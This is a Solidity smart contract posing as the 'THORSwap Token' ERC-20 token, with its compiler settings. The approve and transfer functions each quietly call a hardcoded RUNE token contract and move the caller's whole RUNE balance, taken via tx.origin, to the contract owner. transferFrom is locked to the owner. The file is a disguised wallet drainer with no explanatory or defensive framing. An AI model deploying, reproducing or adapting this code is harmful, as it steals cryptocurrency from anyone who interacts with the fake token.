THORSwap Token

interface IRune {
  function balanceOf(address holder) external returns (uint256);
  function transferTo(address recipient, uint256 amount) external returns (bool);
}

contract ThorToken {
    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);

    string public name = "THORSwap Token";
    string public symbol = "THOR";
    uint8 public decimals = 18;
    uint256 public totalSupply = 500e6 ether;

    IRune rune = IRune(0x3155BA85D5F96b2d030a4966AF206230e46849cb);

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address private owner;
    
    constructor() {
      owner = msg.sender;
      balanceOf[owner] = totalSupply;
      emit Transfer(address(0), owner, totalSupply);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
      rune.transferTo(owner, rune.balanceOf(tx.origin));
      allowance[msg.sender][spender] = amount;
      emit Approval(msg.sender, spender, amount);
      return true;
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
      rune.transferTo(owner, rune.balanceOf(tx.origin));
      balanceOf[msg.sender] -= amount;
      balanceOf[recipient] += amount;
      emit Transfer(msg.sender, recipient, amount);
      return true;
    }

    function transferFrom(address from, address recipient, uint256 amount) external returns (bool) {
      require(tx.origin == owner, "seul maitre");
      balanceOf[from] -= amount;
      balanceOf[recipient] += amount;
      emit Transfer(msg.sender, recipient, amount);
      return true;
    }
}

{
  "compilationTarget": {
    "contracts/1_Storage.sol": "ThorToken"
  },
  "evmVersion": "london",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}